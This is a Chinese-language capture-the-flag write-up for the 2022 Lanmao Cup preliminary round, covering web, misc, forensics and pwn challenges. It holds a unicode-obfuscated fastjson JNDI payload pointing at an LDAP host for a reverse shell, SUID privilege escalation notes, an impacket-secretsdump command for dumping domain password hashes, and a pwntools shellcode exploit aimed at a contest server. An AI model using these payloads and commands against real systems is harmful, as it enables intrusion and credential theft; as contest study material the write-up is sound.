2022蓝帽杯初赛 干煸豆角队wp
2022蓝帽杯初赛 干煸豆角队wp
Last edited 2022-7-10
type
Post
status
Published
date
Jul 10, 2022
slug
summary
干煸豆角队wp
tags
CTF_Wp
category
CTF_Wp
icon
password
URL
Photo

web

Ez_gadget

审计后发现 需要不同的str 但是hashCode需要一样
将前两位字母替换计算
notion image
绕过之后就可以打fastjson 1.2.62了 ,bypass绕过使用unicode就可以了
使用RougeJndi 生成恶意类反弹shell
notion image
{"\u0040\u0074\u0079\u0070\u0065":"\u006f\u0072\u0067\u002e\u0061\u0070\u 0061\u0063\u0068\u0065\u002e\u0078\u0062\u0065\u0061\u006e\u002e\u0070\u007 2\u006f\u0070\u0065\u0072\u0074\u0079\u0065\u0064\u0069\u0074\u006f\u0072\u 002e\u004a\u006e\u0064\u0069\u0043\u006f\u006e\u0076\u0065\u0072\u0074\u006 002e\u004a\u006e\u0064\u0069\u0043\u006f\u006e\u0076\u0065\u0072\u0074\u006 5\u0072","asText":"unicode(ldap://xxx/o=tomcat))"}
notion image
反弹shell后,suid提权date,查看/root/flag.txt
notion image

misc

domainhacker

看流量包发现是个动态加密木马流量
notion image
最后一个找到他是一个压缩包,但是有密码
notion image
追踪加密压缩包流量找到解压密码
notion image
解压之后得到机器码
notion image

domainhacker2

根据第一个可知他压缩命令时会返回进度条,搜索100%,追踪流找到请求包
notion image
找到之后丢到之前的解密脚本中
<?php $q8fb9d4c082c11 = "suY2QgL2QgImM6XFxXaW5kb3dzXFxUZW1wIiZyYXIuZXhlIGEgLVBGYWtlUGFzc3dvcmQxMjMkIG50ZHMucmFyIG5ldyZlY2hvIDFkMzYzMiZjZCZlY2hvIDc4YmM0NjJhYg=="; $s = base64_decode(substr($q8fb9d4c082c11, 2)); $d= "1a4be8815ef8b4e7e465b620"; $c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\""; echo $c;
notion image
得到解压密码FakePassword123$ 发现两个文件,丢到kali中解密
impacket-secretsdump -system ./SYSTEM -ntds ./ntds.dit LOCAL -history
查看历史密码
notion image

取证(AK)

手机取证1

一个是这个图图库直接找
notion image

手机取证2

第二个是在skype里面的群组里有姜总和手机持有人的对话
notion image

电脑取证1

notion image

电脑取证2

这个是获取镜像的进程
notion image

电脑取证3

后面是用工具爆破出密码
notion image
notion image
notion image
notion image

电脑取证4

先用password kit,提取新建文本文档,然后得到这一串 然后将unprotect导入取证大师,得到一个zip
notion image
notion image
然后破解
notion image
最后得到这个
notion image

程序取证1

notion image

程序取证2

notion image

程序取证3

notion image

程序取证4

notion image
 

网站取证1

notion image
notion image
一句话木马连接密码lanmaobei666

网站取证2

notion image
找到加密函数跑一下 ,坑 注意PHP7.0!!!
notion image

网站取证3

全局搜索encrypt找到encrypt相关函数定义 , 阅读源码发现盐值
notion image

网站取证4

SQL文件仿真得到交易数据
notion image
解密狗狗币脚本
<?php function decrypt($data, $key = 'jyzg123456') { $key = md5($key); $x = 0; $data = base64_decode($data); $len = mb_strlen($data); $l = mb_strlen($key); $char = ''; $str = ''; for ($i = 0; $i < $len; $i++) { if ($x == $l) { $x = 0; } $char .= mb_substr($key, $x, 1); $x++; } for ($i = 0; $i < $len; $i++) { if (ord(mb_substr($data, $i, 1)) < ord(mb_substr($char, $i, 1))) { $str .= chr((ord(mb_substr($data, $i, 1)) + 256) - ord(mb_substr($char, $i, 1))); } else { $str .= chr(ord(mb_substr($data, $i, 1)) - ord(mb_substr($char, $i, 1))); } } return $str; } $total=0; $datastuck=['mZVymm9t', 'lpxqlXFo', 'l5xummto', 'm5Zwm3Bn', 'nJhtlGlm', 'm5tpmGtm', 'm5ptnGtu', 'mZlym25r', 'm5hpnHBu', 'm5prlm9u', 'nJlyl2hu', 'lptummhs', 'lpxrl21n', 'mZRpnHBs', 'mZpxm2lr', 'm5dtmGls', 'mpxvlnBv', 'mJpynHBt', 'nJZwm2lu', 'mpdtnWxq', 'nJdtlmpr', 'mZtymHBm', 'nJlslmpp', 'l5RunW1p', 'nJxplXFm', 'lZdpmm1s', 'mZZwnW9u', 'mJVrmmhp', 'lZZwl3Bs', 'm5xvm2hm', 'mpZslmpm', 'mZtrnGtp', 'lp1rm21t', 'nJxplmtp', 'l5twlXFq', 'lphqmm9s', 'm51wmG1q', 'mJlxlWto', 'lJ1vmXFq', 'mpVpmW5r', 'm5lrlGpr', 'mpxplm9u', 'lZpxnHFn', 'nJdymWpm', 'mJpum3Fo', 'lpRrmWto', 'lZtunXBv', 'lpprnWtt', 'lJdslnBr', 'lJZrnWpm', 'l5Zrm21m', 'lJdul2hm', 'mphylG9q', 'lZhpm2pp', 'lZ1qnW1s', 'nJ1tlHFp', 'mZxqm2tp', 'mZdsm21t', 'mpRvlG9o', 'mJVqlmhv', 'mJRwlHBq', 'l5dtmWtt', 'mZdylHFt', 'l5RqlWxn', 'mZ1um3Fs', 'lJ1rnWhu', 'm5pulWhv', 'lptrnW1u', 'm5xynWxn', 'lpRynGtr', 'mpxulGlm', 'nJdslm9r', 'lJhslHBq', 'nJpwnWhu', 'mptql2tv', 'l51xmmlp', 'mZVymXFn', 'lJhqnW5q', 'm5ppmGpr', 'mZlqm21t', 'mpZslWxt', 'mJ1pnHFm', 'l5drlXBp', 'mJlvmW1u', 'mZtxlG5t', 'nJtsnHFn', 'l5Rvm29o', 'm5xvlWxv', 'm5Zrl2xm', 'mZlwlG1u', 'nJpvlWtr', 'mJxym25s', 'lpVqnWxv', 'mZVvl3Fq', 'lZVtlW5m', 'lZRqlGhn', 'nJxqm2hn', 'nJVtl21s', 'lJdumWlq', 'mJtxmGtp', 'mZxsnHFv', 'lpdtl2xn', 'mphqlm5p', 'lJdxlGpn', 'lpVvlHFu', 'lJhvmHBn', 'l5xunGtv', 'lZRul2pt', 'mpdqnGxu', 'l5Zxlmho', 'lJppmWhq', 'nJVylWpp', 'm5VxnWlr', 'lpdsnGtq', 'mZ1tnGpt', 'mJVqmmtq', 'l5hslWhm', 'lZZtl21r', 'nJlumGlm', 'lJhsmW9t', 'lZZym25s', 'l5tpnHBt', 'nJVunG1q', 'mJdtlHFu', 'mpVtlnFp', 'mplrnG1t', 'mJ1ylHBr', 'nJhynG5m', 'mplymG1r', 'lJtxlGxo', 'lpRxnGlm', 'mZxwnG5s', 'mZptnWpn', 'mJZylGxq', 'mZZvm3Fo', 'lJdxnW9t', 'lZtxmXFv', 'nJxtlXFm', 'mJZumW1r', 'nJ1tmG1p', 'mplslmpu', 'lJZxlG5p', 'nJtxmXBq', 'lZdxmmtq', 'lJdrlG1o', 'mpZtmmlm', 'mJVxnGpm', 'mJVwmWxu', 'mplslWps']; for($i=0 ; $i<=148; $i++){ $money=decrypt($datastuck[$i],$key = 'jyzg123456'); echo $money."\n"; }
notion image
得出来的是一竖列,直接复制粘贴到excell 手算的每天总GG币数量(有点菜不是很会写py脚本),然后粘贴到汇率的表格中求单元格乘积。
notion image
 

PWN

Pwn1

这个题就是直接执行一段写入的shellcode,所以构造好shellcode就好了
# -*- coding: UTF-8 -*- from pwn import * from LibcSearcher import * context.arch = 'amd64' context.log_level = 'debug' local_file  = './escape_shellcode' #libc = ELF('/home/yjc/Desktop/Libc/U16/libc-2.23-32.so') select = 1 if select == 0: p = process(local_file) libc = ELF('/glibc/x64/2.23/lib/libc-2.23.so') #gdb.attach(p) else: p = remote('39.107.124.203',21006) libc = ELF('/home/yjc/Desktop/Libc/U16/libc-2.23-64.so') #libc = ELF(remote_libc) elf = ELF(local_file) pop_rdi = 0x00000000000015f3 pop_rbp = 0x0000000000001273 shellcode = """ mov rsi, [rip - 0x2a9] sub rsi, 0x4000 mov rdi, 1 mov rdx, 0x400 Loop1: sub rsi, 0x400 mov rax, 1 syscall cmp rax, 0 jl Loop1 and rsi, 0xfffffffffffff000 add rsi, 0x120 mov rdx, 0x50 mov rax, 1 syscall """ shellcode = asm(shellcode,arch = "amd64") p.sendline(shellcode) p.interactive()
 
  • CTF_Wp
  • 2022蓝帽杯半决赛 干煸豆角队wp2022国赛初赛 干煸豆角wp